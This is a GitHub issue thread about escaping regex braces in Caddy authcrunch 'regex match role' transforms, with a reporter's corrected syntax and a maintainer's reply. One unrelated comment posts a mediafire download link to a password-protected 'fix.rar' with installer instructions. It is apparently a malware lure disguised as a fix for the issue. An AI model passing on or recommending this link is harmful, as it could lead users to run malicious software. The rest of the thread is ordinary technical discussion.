Improve 'regex match role' to note escaping braces

[mechanarchy]

I am trying to match and drop roles named as GUIDs, using:

transform user {
  regex match role "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
  action drop matched role
}

However, this conflicts with Caddy's use of placeholders, and the {4} are stripped out, meaning that this matching rule does not work as expected. The correct syntax to use here is:

regex match role "[0-9a-f]\\{8\\}-[0-9a-f]\\{4\\}-[0-9a-f]\\{4\\}-[0-9a-f]\\{4\\}-[0-9a-f]\\{12\\}"

Please can this be noted in the documentation to help other users avoid the same pitfall:

authcrunch.github.io/docs/authenticate/42-user-transforms.md

Lines 148 to 160 in c6d0296

	## Drop Matched Roles
	This feature is available starting `v1.1.24`.
	The following transform removes any role with whitespaces from the
	token issued to a user.
	```
	transform user {
	regex match role "\s"
	action drop matched role
	}
	```

[amir1387aht]

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

[greenpau]

@mechanarchy , thank you for pointing this out. Please submit PR to the docs repo.

[mechanarchy]

Thanks @greenpau , I have opened #65.